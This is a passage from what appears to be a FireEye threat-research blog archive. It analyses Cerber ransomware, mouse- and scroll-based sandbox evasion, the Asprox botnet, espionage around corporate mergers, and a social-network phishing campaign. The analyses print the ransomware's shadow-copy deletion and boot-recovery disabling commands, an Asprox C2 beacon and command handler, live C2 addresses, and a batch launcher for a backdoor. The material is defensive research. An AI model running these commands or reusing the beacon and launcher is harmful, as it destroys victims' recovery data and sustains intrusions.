  7. The executable uses native Windows utilities such as WMIC and/or VSSAdmin to delete backups and shadow copies.
  8. Files are encrypted and messages are presented to the user requesting payment.

Rather than waiting for the payload to be downloaded or started around stage four or five of the aforementioned attack cycle, Exploit Guard provides coverage for most steps of the attack cycle – beginning in this case at the second step.

The most common way to deliver ransomware is via Word documents with embedded macros or a Microsoft Office exploit. FireEye Exploit Guard detects both of these attacks at the initial stage of the attack cycle.

PowerShell Abuse

When the victim opens the attached Word document, the malicious macro writes a small piece of VBScript into memory and executes it. This VBScript executes PowerShell to connect to an attacker-controlled server and download the ransomware (profilest.exe), as seen in Figure 1.

Figure 1. Launch sequence of Cerber – the macro is responsible for invoking PowerShell and PowerShell downloads and runs the malware

It has been increasingly common for threat actors to use malicious macros to infect users because the majority of organizations permit macros to run from Internet-sourced office documents.

In this case we observed the macrocode calling PowerShell to bypass execution policies – and run in hidden as well as encrypted mode – with the intention that PowerShell would download the ransomware and execute it without the knowledge of the victim.

Further investigation of the link and executable showed that every few seconds the malware hash changed with a more current compilation timestamp and different appended data bytes – a technique often used to evade hash-based detection.

Cerber in Action

Initial payload behavior

Upon execution, the Cerber malware will check to see where it is being launched from. Unless it is being launched from a specific location (%APPDATA%\&#60GUID&#62), it creates a copy of itself in the victim's %APPDATA% folder under a filename chosen randomly and obtained from the %WINDIR%\system32 folder.

If the malware is launched from the specific aforementioned folder and after eliminating any blacklisted filenames from an internal list, then the malware creates a renamed copy of itself to “%APPDATA%\&#60GUID&#62” using a pseudo-randomly selected name from the “system32” directory. The malware executes the malware from the new location and then cleans up after itself.

Shadow deletion

As with many other ransomware families, Cerber will bypass UAC checks, delete any volume shadow copies and disable safe boot options. Cerber accomplished this by launching the following processes using respective arguments:

Vssadmin.exe "delete shadows /all /quiet"

WMIC.exe "shadowcopy delete"

Bcdedit.exe "/set {default} recoveryenabled no"

Bcdedit.exe "/set {default} bootstatuspolicy ignoreallfailures

Coercion

People may wonder why victims pay the ransom to the threat actors. In some cases it is as simple as needing to get files back, but in other instances a victim may feel coerced or even intimidated. We noticed these tactics being used in this campaign, where the victim is shown the message in Figure 2 upon being infected with Cerber.

Figure 2. A message to the victim after encryption

The ransomware authors attempt to incentivize the victim into paying quickly by providing a 50 percent discount if the ransom is paid within a certain timeframe, as seen in Figure 3.

 

 

Figure 3. Ransom offered to victim, which is discounted for five days

Multilingual Support

As seen in Figure 4, the Cerber ransomware presented its message and instructions in 12 different languages, indicating this attack was on a global scale.

Figure 4.   Interface provided to the victim to pay ransom supports 12 languages

Encryption

Cerber targets 294 different file extensions for encryption, including .doc (typically Microsoft Word documents), .ppt (generally Microsoft PowerPoint slideshows), .jpg and other images. It also targets financial file formats such as. ibank (used with certain personal finance management software) and .wallet (used for Bitcoin).

Selective Targeting

Selective targeting was used in this campaign. The attackers were observed checking the country code of a host machine’s public IP address against a list of blacklisted countries in the JSON configuration, utilizing online services such as ipinfo.io to verify the information. Blacklisted (protected) countries include: Armenia, Azerbaijan, Belarus, Georgia, Kyrgyzstan, Kazakhstan, Moldova, Russia, Turkmenistan, Tajikistan, Ukraine, and Uzbekistan.

The attack also checked a system's keyboard layout to further ensure it avoided infecting machines in the attackers geography: 1049—Russian, ¨ 1058—Ukrainian, 1059—Belarusian, 1064—Tajik, 1067—Armenian, 1068—Azeri, (Latin), 1079—Georgian, 1087—Kazakh, 1088—Kyrgyz (Cyrillic), 1090—Turkmen, 1091—Uzbek (Latin), 2072—Romanian (Moldova), 2073—Russian (Moldova), 2092—Azeri (Cyrillic), 2115—Uzbek (Cyrillic).

Selective targeting has historically been used to keep malware from infecting endpoints within the author’s geographical region, thus protecting them from the wrath of local authorities. The actor also controls their exposure using this technique. In this case, there is reason to suspect the attackers are based in Russia or the surrounding region.

Anti VM Checks

The malware searches for a series of hooked modules, specific filenames and paths, and known sandbox volume serial numbers, including: sbiedll.dll, dir_watch.dll, api_log.dll, dbghelp.dll, Frz_State, C:\popupkiller.exe, C:\stimulator.exe, C:\TOOLS\execute.exe, \sand-box\, \cwsandbox\, \sandbox\, 0CD1A40, 6CBBC508, 774E1682, 837F873E, 8B6F64BC.

Aside from the aforementioned checks and blacklisting, there is also a wait option built in where the payload will delay execution on an infected machine before it launches an encryption routine. This technique was likely implemented to further avoid detection within sandbox environments.

Persistence

Once executed, Cerber deploys the following persistence techniques to make sure a system remains infected:

  • A registry key is added to launch the malware instead of the screensaver when the system becomes idle.
  • The “CommandProcessor” Autorun keyvalue is changed to point to the Cerber payload so that the malware will be launched each time the Windows terminal, “cmd.exe”, is launched.
  • A shortcut (.lnk) file is added to the startup folder. This file references the ransomware and Windows will execute the file immediately after the infected user logs in.
  • Common persistence methods such as run and runonce key are also used.
A Solid Defense

Mitigating ransomware malware has become a high priority for affected organizations because passive security technologies such as signature-based containment have proven ineffective.

Malware authors have demonstrated an ability to outpace most endpoint controls by compiling multiple variations of their malware with minor binary differences. By using alternative packers and compilers, authors are increasing the level of effort for researchers and reverse-engineers. Unfortunately, those efforts don’t scale.

Disabling support for macros in documents from the Internet and increasing user awareness are two ways to reduce the likelihood of infection. If you can, consider blocking connections to websites you haven’t explicitly whitelisted. However, these controls may not be sufficient to prevent all infections or they may not be possible based on your organization.

FireEye Endpoint Security with Exploit Guard helps to detect exploits and techniques used by ransomware attacks (and other threat activity) during execution and provides analysts with greater visibility. This helps your security team conduct more detailed investigations of broader categories of threats. This information enables your organization to quickly stop threats and adapt defenses as needed.

Conclusion

Ransomware has become an increasingly common and effective attack affecting enterprises, impacting productivity and preventing users from accessing files and data.

Mitigating the threat of ransomware requires strong endpoint controls, and may include technologies that allow security personnel to quickly analyze multiple systems and correlate events to identify and respond to threats.

HX with Exploit Guard uses behavioral intelligence to accelerate this process, quickly analyzing endpoints within your enterprise and alerting your team so they can conduct an investigation and scope the compromise in real-time.

Traditional defenses don’t have the granular view required to do this, nor can they connect the dots of discreet individual processes that may be steps in an attack. This takes behavioral intelligence that is able to quickly analyze a wide array of processes and alert on them so analysts and security teams can conduct a complete investigation into what has, or is, transpiring. This can only be done if those professionals have the right tools and the visibility into all endpoint activity to effectively find every aspect of a threat and deal with it, all in real-time. Also, at FireEye, we go one step ahead and contact relevant authorities to bring down these types of campaigns.

Click here for more information about Exploit Guard technology.

Turing Test in Reverse: New Sandbox-Evasion Techniques Seek Human Interaction

Last year, we published a paper titled Hot Knives Through Butter, Evading File-Based Sandboxes.  In this paper, we explained many sandbox evasion methods--and today's blog post adds to our growing catalog.

In the past, for example, we detailed the inner workings of a Trojan we dubbed UpClicker. The malware was notable for a then-novel technique to evade automated dynamic analysis systems (better known as sandboxes). UpClicker activates only when the left mouse button is clicked and released — a sign that it is running on a real, live, human-controlled PC rather than within an automated sandbox.

If the malware determines it is running in a sandbox, it lies dormant so that the sandbox doesn’t observe any suspicious behavior. Once the sandbox incorrectly clears it as a benign file, UpClicker goes on to a real computer to do its dirty work.

Last year, our colleague Rong Hwa shared the technical details of another sandbox-detecting Trojan called  BaneChant. Like UpClicker, BaneChant uses human interaction to ascertain whether it is running in a virtual-machine environment, activating only after it detects more than three left clicks.

Since then, we’ve seen a spate of new malware that pushes the concept further. The newest sandbox-evading malware counters recent efforts to mimic human behavior in sandbox environments.

This blog post describes three tactics that FireEye has discovered in recent attacks.

Sandbox evasion: a primer

Most sandbox-evasion techniques fall into one of three categories:

Human interaction. This category includes malware that requires certain actions on the user’s part (a sign that the malicious code is running on a real-live PC rather than within an automated sandbox).

Configuration specific. Malware in this category takes advantage of the inherent constraints of file-based sandboxes. For example, knowing that a sandbox can spend, say, five minutes running suspicious code for analysis, malware creators can create code that automatically lies dormant for a longer period. If the code is still running after that, it’s probably not in a sandbox.

Environment specific. In this category, malware checks for telltale signs that its code is running in widely used VM environments. It checks for obscure files unique to VMware, for instance, or VM-specific hardware drivers.

The first category of sandbox evasion is one of the trickiest to counter. To fool sandbox-detecting malware, some vendors now simulate mouse movement and clicks in their virtual-machine environments to mimic human activity. But malware authors are upping the ante with even more sophisticated sandbox detection and evasion techniques.

To scroll is human

One malware we discovered lies dormant until the user scrolls to the second page of a Rich Text Format (RTF) document. So simulating human interaction with random or preprogrammed mouse movements isn’t enough to activate its malicious behavior.

Here’s how it works:

RTF documents consist of normal text, control words, and groups. Microsoft’s RTF specification includes a shape-drawing function, which includes a series of properties using the following syntax:

{\sp {\sn propertyName } {\sv propertyValueInformation}}

In this code, \sp is the control word for the drawing property, \sn is the property name, and \sv contains information about the property value. The code snippet in Figure 1 exploits a vulnerability that occurs when using an invalid \sv value for the pFragments shape property.

turing1

Figure 1: Code exploiting vulnerability in the RTF pFragments property

A closer look at the exploit code reveals a series of paragraph marks (./par) that appears before the exploit code.

turing2

Figure 2: A series of \.par (paragraph marks) that appears before the exploit code

The repeated paragraph marks push the exploit code to the second page of the RTF document. So the malicious code does not execute unless the document scrolls down to bring the exploit code up into the active window—more likely a deliberate act by a human user than simulated movement in a virtual machine.

When the RTF is scrolled down to the second page, then only the exploit code triggers, and  as shown in Figure 3.0, it makes a call to  URLDownloadToFileA function from the shell code to download an executable file.

turing3

Figure 3: Exploit code

In a typical file-based sandbox, where any mouse activity is random or preprogrammed, the RTF document’s second page will never appear. So the malicious code never executes, and nothing seems amiss in the sandbox analysis.

Two clicks and you’re out

Another sandbox-evading attack we spotted in recent attacks waits for more than two mouse clicks before executing. The two-click condition aims to more accurately determine whether an actual person is operating the targeted machine—most people click mouse buttons many times throughout the day—or a one-time programmed click designed to counter evasion techniques.

Here’s how this technique works:

The malware invokes the function Get AsyncKeyState in a loop. The function checks whether any mouse buttons are clicked by looking for the parameter 0x01, 0x02, or 0x04. (The parameter 0x01 is the virtual key code for the mouse’s left button, 0x02 is the code for the right button, and 0x04 is the code of the middle button.)

The instruction “xor edi edi” sets the edi to 0. If any of the buttons is pressed, the code invokes the instruction “inc edi,” as shown in Figure 4. After that, the  instruction “cmp edi,2” checks whether the left, right or middle mouse buttons have been clicked more than two times. If so, code exits from the loop and gets to its real work. Otherwise, it stays under the radar, continuously checking for more mouse clicks.

turing4

Figure 4: Assembly code for evasion employing left, middle or right mouse clicks

Slow mouse, fast sandbox

Another recently discovered evasion technique involves checking for suspiciously fast mouse movement. To make sure an actual person is controlling the mouse or trackpad, malware code checks how quickly the cursor is moving. Superhuman speed is a telltale sign that the code is running in a sandbox.

This technique also makes use of the Windows function GetCursorPos, which retrieves the system’s cursor position. In the example malware code shown in Figure 5, GetCursorPos returns 614 for the x-axis value and 185 for the y-axis value.

turing5

Figure 5: Malware making first call to API GetCursorPos

After few instructions, malicious code again calls GetCursorPos to check whether the cursor position has changed. This time the function returns x= 1019 and y = 259, as shown in Figure 6.

turing6

Figure 6: Malware making second call to API GetCursorPos

A few instructions after the second GetCursorPos call, the malware code  invokes the instruction “SUB EDI, DWORD PTR DS:[410F15]”. As shown in the figure 5.0, the value in EDI is 0x103 (259 in decimal) and DS:[410F15] = 0xB9 (185 in decimal). The value 259 and 185 are the Y coordinates retrieved from the two GetCursorPos calls. If the difference between the two Y-coordinate measurements is not 0, then the malware terminates.

turing7

Figure 7:  Subtracting the Y coordinates to detect whether the cursor is moving too quickly to be human-controlled

In other words, if the cursor has moved between the two GetCursorPos calls (which are only a few instructions apart), then the malware concludes that the mouse movement is simulated. That’s too fast to be a real-world mouse or track pad in normal use, so the code must be running in a sandbox.

A growing challenge

Cybersecurity is a constant arms race. Simulating mouse movement and clicks is not enough to fool the most advanced sandbox-evading malware. Now malware authors are incorporating real-world behaviors into their evasion strategies.

Simulating these behaviors—the way actual people scroll documents, click the mouse button, and move the cursor— is a huge challenge for cybersecurity. Anticipating future evasion techniques might be even tougher. Expect malware authors to employ more novel techniques that look for that human touch.

In the paper “Hot Knives Through Butter: Evading File Based Sandboxes,” we've outlined 15 prior evasion techniques that have been used by advanced malware in real attacks to bypass file based sandboxes. We plan to continue updating the evasion series as we come across new techniques used by the latest threats and advanced malwares to bypass file based sandboxes.

A Not-So Civic Duty: Asprox Botnet Campaign Spreads Court Dates and Malware

Executive Summary

FireEye Labs has been tracking a recent spike in malicious email detections that we attribute to a campaign that began in 2013. While malicious email campaigns are nothing new, this one is significant in that we are observing mass-targeting attackers adopting the malware evasion methods pioneered by the stealthier APT attackers. And this is certainly a high-volume business, with anywhere from a few hundred to ten thousand malicious emails sent daily – usually distributing between 50 and 500,000 emails per outbreak.

Through the FireEye Dynamic Threat Intelligence (DTI) cloud, FireEye Labs discovered that each and every major spike in email blasts brought a change in the attributes of their attack. These changes have made it difficult for anti-virus, IPS, firewalls and file-based sandboxes to keep up with the malware and effectively protect endpoints from infection. Worse, if past is prologue, we can expect other malicious, mass-targeting email operators to adopt this approach to bypass traditional defenses.

This blog will cover the trends of the campaign, as well as provide a short technical analysis of the payload.

Campaign Details

fig1

Figure 1: Attack Architecture

The campaign first appeared in late December of 2013 and has since been seen in fairly cyclical patterns each month. It appears that the threat actors behind this campaign are fairly responsive to published blogs and reports surrounding their malware techniques, tweaking their malware accordingly to continuously try and evade detection with success.

In late 2013, malware labeled as Kuluoz, the specific spam component of the Asprox botnet, was discovered to be the main payload of what would become the first malicious email campaign. Since then, the threat actors have continuously tweaked the malware by changing its hardcoded strings, remote access commands, and encryption keys.

Previously, Asprox malicious email campaigns targeted various industries in multiple countries and included a URL link in the body. The current version of Asprox includes a simple zipped email attachment that contains the malicious payload “exe.” Figure 2 below represents a sample message while Figure 3 is an example of the various court-related email headers used in the campaign.

fig2

Figure 2 Email Sample

fig3

Figure 3 Email Headers

Some of the recurring campaign that Asporox used includes themes focused around airline tickets, postal services and license keys. In recent months however, the court notice and court request-themed emails appear to be the most successful phishing scheme theme for the campaign.

The following list contains examples of email subject variations, specifically for the court notice theme:

  • Urgent court notice
  • Notice to Appear in Court
  • Notice of appearance in court
  • Warrant to appear
  • Pretrial notice
  • Court hearing notice
  • Hearing of your case
  • Mandatory court appearance

The campaign appeared to increase in volume during the month of May. Figure 4 shows the increase in activity of Asprox compared to other crimewares towards the end of May specifically. Figure 5 highlights the regular monthly pattern of overall malicious emails. In comparison, Figure 6 is a compilation of all the hits from our analytics.

fig4

Figure 4 Worldwide Crimeware Activity

fig5

Figure 5 Overall Asprox Botnet tracking

fig6

Figure 6 Asprox Botnet Activity Unique Samples

These malicious email campaign spikes revealed that FireEye appliances, with the support of DTI cloud, were able to provide a full picture of the campaign (blue), while only a fraction of the emailed malware samples could be detected by various Anti-Virus vendors (yellow).

fig7

Figure 7 FireEye Detection vs. Anti-Virus Detection

By the end of May, we observed a big spike on the unique binaries associated with this malicious activity. Compared to the previous days where malware authors used just 10-40 unique MD5s or less per day, we saw about 6400 unique MD5s sent out on May 29th. That is a 16,000% increase in unique MD5s over the usual malicious email campaign we’d observed. Compared to other recent email campaigns, Asprox uses a volume of unique samples for its campaign.

fig8

Figure 8 Asprox Campaign Unique Sample Tracking

fig9

Figure 9 Geographical Distribution of the Campaign

fig10

Figure 10 Distribution of Industries Affected

Brief Technical Analysis

fig11

Figure 11 Attack Architecture

Infiltration

The infiltration phase consists of the victim receiving a phishing email with a zipped attachment containing the malware payload disguised as an Office document. Figure 11 is an example of one of the more recent phishing attempts.

fig12

Figure 12 Malware Payload Icon

Evasion

Once the victim executes the malicious payload, it begins to start an svchost.exe process and then injects its code into the newly created process. Once loaded into memory, the injected code is then unpacked as a DLL. Notice that Asprox uses a hardcoded mutex that can be found in its strings.

  1. Typical Mutex Generation
    1. "2GVWNQJz1"
  2. Create svchost.exe process
  3. Code injection into svchost.exe

Entrenchment

Once the dll is running in memory it then creates a copy of itself in the following location:

%LOCALAPPDATA%/[8 CHARACTERS].EXE

Example filename:

%LOCALAPPDATA%\lwftkkea.exe

It’s important to note that the process will first check itself in the startup registry key, so a compromised endpoint will have the following registry populated with the executable:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Exfiltration/Communication

The malware uses various encryption techniques to communicate with the command and control (C2) nodes. The communication uses an RSA (i.e. PROV_RSA_FULL) encrypted SSL session using the Microsoft Base Cryptographic Provider while the payloads themselves are RC4 encrypted. Each sample uses a default hardcoded public key shown below.

Default Public Key

-----BEGIN PUBLIC KEY-----

MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDCUAUdLJ1rmxx+bAndp+Cz6+5I'

Kmgap2hn2df/UiVglAvvg2US9qbk65ixqw3dGN/9O9B30q5RD+xtZ6gl4ChBquqw

jwxzGTVqJeexn5RHjtFR9lmJMYIwzoc/kMG8e6C/GaS2FCgY8oBpcESVyT2woV7U

00SNFZ88nyVv33z9+wIDAQAB

-----END PUBLIC KEY-----

First Communication Packet

Bot ID RC4 Encrypted URL

POST /5DBA62A2529A51B506D197253469FA745E7634B4FC

HTTP/1.1

Accept: */*

Content-Type: application/x-www-form-urlencoded

User-Agent: <host useragent>

Host: <host ip>:443

Content-Length: 319

Cache-Control: no-cache

<knock><id>5DBA62A247BC1F72B98B545736DEA65A</id><group>0206s</group><src>3</src><transport>0</transport><time>1881051166</time><version>1537</version><status>0</status><debug>none<debug></knock>

C2 Commands

In comparison to the campaign at the end of 2013, the current campaign uses one of the newer versions of the Asprox family where threat actors added the command “ear.”

if ( wcsicmp(Str1, L"idl") )

{

if ( wcsicmp(Str1, L"run") )

{

if ( wcsicmp(Str1, L"rem") )

{

if ( wcsicmp(Str1, L"ear")

{

if ( wcsicmp(Str1, L"rdl") )

{

if ( wcsicmp(Str1, L"red") )

{

if ( !wcsicmp(Str1, L"upd") )

C2 commands Description
idl idl This commands idles the process to wait for commands This commands idles the process to wait for commands
run run Download from a partner site and execute from a specified path Download from a partner site and execute from a specified path
rem rem Remove itself Remove itself
ear ear Download another executable and create autorun entry Download another executable and create autorun entry
rdl rdl Download, inject into svchost, and run Download, inject into svchost, and run
upd upd Download and update Download and update
red red Modify the registry Modify the registry

C2 Campaign Characteristics

fig13

For the two major malicious email campaign spikes in April and May of 2014, separate sets of C2 nodes were used for each major spike.

April May-June
94.23.24.58 94.23.24.58 192.69.192.178 192.69.192.178
94.23.43.184 94.23.43.184 213.21.158.141 213.21.158.141
1.234.53.27 1.234.53.27 213.251.150.3 213.251.150.3
84.124.94.52 84.124.94.52 27.54.87.235 27.54.87.235
133.242.134.76 133.242.134.76 61.19.32.24 61.19.32.24
173.45.78.226 173.45.78.226 69.64.56.232 69.64.56.232
37.59.9.98 37.59.9.98 72.167.15.89 72.167.15.89
188.93.74.192 188.93.74.192 84.234.71.214 84.234.71.214
187.16.250.214 187.16.250.214 89.22.96.113 89.22.96.113
85.214.220.78 85.214.220.78 89.232.63.147 89.232.63.147
91.121.20.71 91.121.20.71
91.212.253.253 91.212.253.253
91.228.77.15 91.228.77.15

Conclusion

The data reveals that each of the Asprox botnet’s malicious email campaigns changes its method of luring victims and C2 domains, as well as the technical details on monthly intervals. And, with each new improvement, it becomes more difficult for traditional security methods to detect certain types of malware.

Acknowledgements:

Nart Villeneuve, Jessa dela Torre, and David Sancho. Asprox Reborn. Trend Micro. 2013. http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-asprox-reborn.pdf

Mergers and Acquisitions: When Two Companies and APT Groups Come Together

With Apple’s purchase of Beats, Pfizer’s failed bids for AstraZeneca, and financial experts pointing to a rally in the M&A market, the last month was a busy one for mergers and acquisitions. Of course, when we first see headlines of a high profile company’s plans for a merger or acquisition, we rush to think of the strategic and industry implications of such a deal. But underneath the “what ifs” and “visions for the future,” is a darker side of M&A that doesn’t make the headlines: the routineness with which companies are breached and crucial data is stolen when two high-profile organizations look to join together.

Over the last few years, concerns over economic espionage have led to greater scrutiny of mergers and acquisitions involving foreign companies – particularly in industries with sensitive technologies and operations that could pose broader economic and security threats. However, entering into a merger or acquisition with a foreign company is not the only way nation-states conduct economic espionage via cyber means, nor are nation-states the only perpetrators of intellectual property theft.

From our experience responding to these breaches, we’ve seen targeted threat actors actively pursuing companies involved in mergers and acquisitions in two ways:

  • Breaching one of the merging or acquired company’s subsidiaries’ and/or partners’ networks to ultimately gain access to the targeted company’s environment and information
  • Compromising and stealing information from a company involved in business talks with a foreign enterprise in order to provide the other side with an insider advantage in the negotiations

From One Friend to Another: Taking Advantage of Trusted Relationships Between Companies

Some threat groups compromise an organization’s environment and then move laterally over a connected network to a partner or subsidiary, while others rely on social engineering tactics, such as the use of phishing emails that appear to be from employees at the partner company. We have seen China-based threat groups previously compromise targets by taking advantage of trusted relationships and bridged networks between companies. Regardless of their method of entry, these actors are often in search of the same thing: intellectual property and proprietary information that can provide their own constituents with a business advantage, whether through adopting a rival’s technology and products, securing advantageous prices, or any other tactic that could give them a leg up.

We investigated one incident in which two threat groups compromised a company shortly after it acquired a subsidiary. The threat actors used their access to the initial company’s network to move laterally to the subsidiary, which had recently developed a proprietary process for a significant new healthcare product. Once inside the subsidiary’s network, the threat groups stole data that included details on the product’s test results. We believe the threat groups sought to give that data to Chinese state-owned companies in that industry for fast-tracking the development of their own version of the groundbreaking product.

Cheating the System: Insider Advantages in Negotiations

We have also seen threat groups compromising organizations involved in merger or acquisition talks with Chinese entities, likely in an effort to steal data that could give negotiators and decision makers valuable insider information with which to manipulate the outcome of the proposed transaction. Unlike other types of economic espionage operations, the threat groups in this type of scenario are generally not in search of a company’s intellectual property. Instead, these actors look for data such as executive emails, negotiation terms, and business plans and information; all of which could benefit the negotiators by giving them insight into the victim company’s financial situation and negotiation strategy.

During one investigation, we found that a China-based threat group had compromised a company that was in the process of acquiring a Chinese subsidiary – a move that would have significantly increased the victim company’s manufacturing and retail capacity in the Chinese market. The threat actors accessed the email accounts of multiple employees involved in the negotiations in what was likely a search for information pertaining to the proceedings. We believe that the threat group then used the stolen information to inform Chinese decision makers involved in the acquisition process, as the Chinese government terminated the talks shortly after the data theft occurred.

What can we expect?

Companies involved in mergers and acquisitions need to be aware of the risks they face from threat actors intent on conducting economic espionage. Entering into a merger or acquisition with an organization that has unidentified intrusions and unaudited networks places a company at risk of compromise from threat actors who may be waiting to move laterally to the newly integrated target.

Similarly, companies, and the law firms representing them, involved in negotiations with Chinese enterprises face risks from threat groups seeking to provide the Chinese entity with an advantage in negotiations. Compromise and economic espionage can have profound impacts on a company’s finances and reputation at any time, but particularly when they are risking hundreds of millions to billions of dollars on M&A.

In many cases as well, there are broader issues of national security, so it’s imperative that companies seek to recognize and mitigate these risks as part of their M&A processes moving forward. Even governments sometimes attempt to mitigate these risks by conducting national security reviews and occasionally rejecting bids based on their findings.[i] Threat actors from many countries engage in economic espionage, making for a wide and varied threat landscape that cannot be handled by the government alone. For examples of just how diverse and crowded a space the targeted threat landscape is becoming, see our recent blog posts on Molerats, Saffron Rose, and Russia and Ukraine.


[i] “The Committee on Foreign Investment in the United States (CFIUS).” U.S. Department of the Treasury. 20 Dec. 2012. Web. 28 May 2014.

Clandestine Fox, Part Deux

We reported at the end of April and the beginning of May on an APT threat group leveraging a zero-day vulnerability in Internet Explorer via phishing email attacks. While Microsoft quickly released a patch to help close the door on future compromises, we have now observed the threat actors behind “Operation Clandestine Fox” shifting their point of attack and using a new vector to target their victims: social networking.

An employee of a company in the energy sector recently received an email with a RAR archive email attachment from a candidate. The attachment, ostensibly containing a resume and sample software program the applicant had written, was from someone we’ll call “Emily” who had previously contacted the actual employee via a popular social network.

FireEye acquired a copy of the suspicious email – shown below in Figure 1 – and attachment from the targeted employee and investigated. The targeted employee confirmed that “Emily” had contacted him via the popular social network, and that, after three weeks of back and forth messaging “she” sent her “resume” to his personal email address.  

[caption id="attachment_5658" align="aligncenter" width="441"]clandestine2 Figure 1: Sample email illustrating how “Emily” attacks a victim employee[/caption]

Working our way backwards, we reviewed “Emily’s” social network profile and noticed a few strange aspects that raised some red flags. For example, “her” list of contacts had a number of people from the victim’s same employer, as well as employees from other energy companies; “she” also did not seem to have many other “friends” that fit “her” alleged persona. “Her” education history also contained some fake entries.

Further research and discussions with the targeted company revealed that “Emily,” posing as a prospective employee, had also contacted other personnel at the same company. She had asked a variety of probing questions, including inquiring who the IT Manager was and what versions of software they ran – all information that would be very useful for an attacker looking to craft an attack.

It’s worth emphasizing that in the instances above, the attackers used a combination of direct contact via social networks as well as contact via email, to communicate with their intended targets and send malicious attachments. In addition, in almost all cases, the attackers used the target’s personal email address, rather than his or her work address. This could be by design, with a view toward circumventing the more comprehensive email security technologies that most companies have deployed, or also due to many people having their social network accounts linked to their personal rather than work email addresses.

Details - Email Attachment #1

The resume.rar archive contained three files: a weaponized version of the open-source TTCalc application (a mathematical big number calculator), a benign text copy of the TTCalc readme file, and a benign PDF of Emily’s resume. The resume was a nearly identical copy of a sample resume available elsewhere on the Internet.  The file details are below.

Filename MD5 Hash
resume.rar resume.rar 8b42a80b2df48245e45f99c1bdc2ce51 8b42a80b2df48245e45f99c1bdc2ce51
readme.txt readme.txt 8c6dba68a014f5437c36583bbce0b7a4 8c6dba68a014f5437c36583bbce0b7a4
resume.pdf resume.pdf ee2328b76c54dc356d864c8e9d05c954 ee2328b76c54dc356d864c8e9d05c954
ttcalc.exe ttcalc.exe e6459971f63612c43321ffb4849339a2 e6459971f63612c43321ffb4849339a2

Upon execution, ttcalc.exe drops the two files listed below, and also launches a legitimate copy of TTCalc v0.8.6 as a decoy:

%USERPROFILE%/Application Data/mt.dat

%USERPROFILE%/Start Menu/Programs/Startup/vc.bat

The file mt.dat is the actual malware executable, which we detect as Backdoor.APT.CookieCutter. (Variants of this family of backdoor are also referred to as “Pirpi” in the security industry). In this case, the malware was configured to use the following remote servers for command and control:

  •  
    • swe[.]karasoyemlak[.]com
    • inform[.]bedircati[.]com (Note: This domain was also used during Operation Clandestine Fox)
    • 122.49.215.108

Metadata for mt.dat:

Description MD5 Hash
md5 md5 1a4b710621ef2e69b1f7790ae9b7a288 1a4b710621ef2e69b1f7790ae9b7a288
.text .text 917c92e8662faf96fffb8ffe7b7c80fb 917c92e8662faf96fffb8ffe7b7c80fb
.rdata .rdata 975b458cb80395fa32c9dda759cb3f7b 975b458cb80395fa32c9dda759cb3f7b
.data .data 3ed34de8609cd274e49bbd795f21acc4 3ed34de8609cd274e49bbd795f21acc4
.rsrc .rsrc b1a55ec420dd6d24ff9e762c7b753868 b1a55ec420dd6d24ff9e762c7b753868
.reloc .reloc afd753a42036000ad476dcd81b56b754 afd753a42036000ad476dcd81b56b754
Import Hash Import Hash fad20abf8aa4eda0802504d806280dd7 fad20abf8aa4eda0802504d806280dd7
Compile date Compile date 2014-05-27 15:48:13 2014-05-27 15:48:13

Contents of vc.bat:

  @echo offcmd.exe /C start rundll32.exe "C:\Documents and Settings\admin\Application Data\mt.dat" UpdvaMt

Details - Email Attachment #2

Through additional research, we were able to obtain another RAR archive email attachment sent by the same attackers to an employee of another company. Note that while there are a lot of similarities, such as the fake resume and inclusion of TTCalc, there is one major difference, which is the delivery of a completely different malware backdoor. The attachment name this time was “my resume and projects.rar,” but this time it was protected with the password “TTcalc.”

Filename MD5 Hash
my resume and projects.rar my resume and projects.rar ab621059de2d1c92c3e7514e4b51751a ab621059de2d1c92c3e7514e4b51751a
SETUP.exe SETUP.exe 510b77a4b075f09202209f989582dbea 510b77a4b075f09202209f989582dbea
my resume.pdf my resume.pdf d1b1abfcc2d547e1ea1a4bb82294b9a3 d1b1abfcc2d547e1ea1a4bb82294b9a3

SETUP.exe is a self-extracting RAR, which opens the WinRAR window when executed, prompting the user for the location to extract the files. It writes them to a TTCalc folder and tries to launch ttcalcBAK.exe (the malware dropper), but the path is incorrect so it fails with an error message. All of the other files are benign and related to the legitimate TTCalc application.

Filename MD5 Hash
CHANGELOG CHANGELOG 4692337bf7584f6bda464b9a76d268c1 4692337bf7584f6bda464b9a76d268c1
COPYRIGHT COPYRIGHT 7cae5757f3ba9fef0a22ca0d56188439 7cae5757f3ba9fef0a22ca0d56188439
README README 1a7ba923c6aa39cc9cb289a17599fce0 1a7ba923c6aa39cc9cb289a17599fce0
ttcalc.chm ttcalc.chm f86db1905b3f4447eb5728859f9057b5 f86db1905b3f4447eb5728859f9057b5
ttcalc.exe ttcalc.exe 37c6d1d3054e554e13d40ea42458ebed 37c6d1d3054e554e13d40ea42458ebed
ttcalcBAK.exe ttcalcBAK.exe 3e7430a09a44c0d1000f76c3adc6f4fa 3e7430a09a44c0d1000f76c3adc6f4fa

The file ttcalcBAK.exe is also a self-extracting Rar which drops and launches chrome_frame_helper, which is a Backdoor.APT.Kaba (aka PlugX/Sogu) backdoor using a legitimate Chrome executable to load the malicious DLL via side-loading. Although this backdoor is used by multiple threat groups and is quite commonly seen these days, this is the first time we've observed this particular threat group using this family of malware. The malware was configured to communicate to the command and control domain www[.]walterclean[.]com (72.52.83.195 at the time of discovery) using the binary TCP protocol only. The file details are below, followed by the malware configuration.

Filename MD5 Hash
chrome_frame_helper.dll chrome_frame_helper.dll 98eb249e4ddc4897b8be6fe838051af7 98eb249e4ddc4897b8be6fe838051af7
chrome_frame_helper.dll.hlp chrome_frame_helper.dll.hlp 1b57a7fad852b1d686c72e96f7837b44 1b57a7fad852b1d686c72e96f7837b44
chrome_frame_helper.exe chrome_frame_helper.exe ffb84b8561e49a8db60e0001f630831f ffb84b8561e49a8db60e0001f630831f

 

Metadata MD5 Hash
chrome_frame_helper.dll chrome_frame_helper.dll 98eb249e4ddc4897b8be6fe838051af7 98eb249e4ddc4897b8be6fe838051af7
.text .text dfb4025352a80c2d81b84b37ef00bcd0 dfb4025352a80c2d81b84b37ef00bcd0
.rdata .rdata 4457e89f4aec692d8507378694e0a3ba 4457e89f4aec692d8507378694e0a3ba
.data .data 48de562acb62b469480b8e29821f33b8 48de562acb62b469480b8e29821f33b8
.reloc .reloc 7a7eed9f2d1807f55a9308e21d81cccd 7a7eed9f2d1807f55a9308e21d81cccd
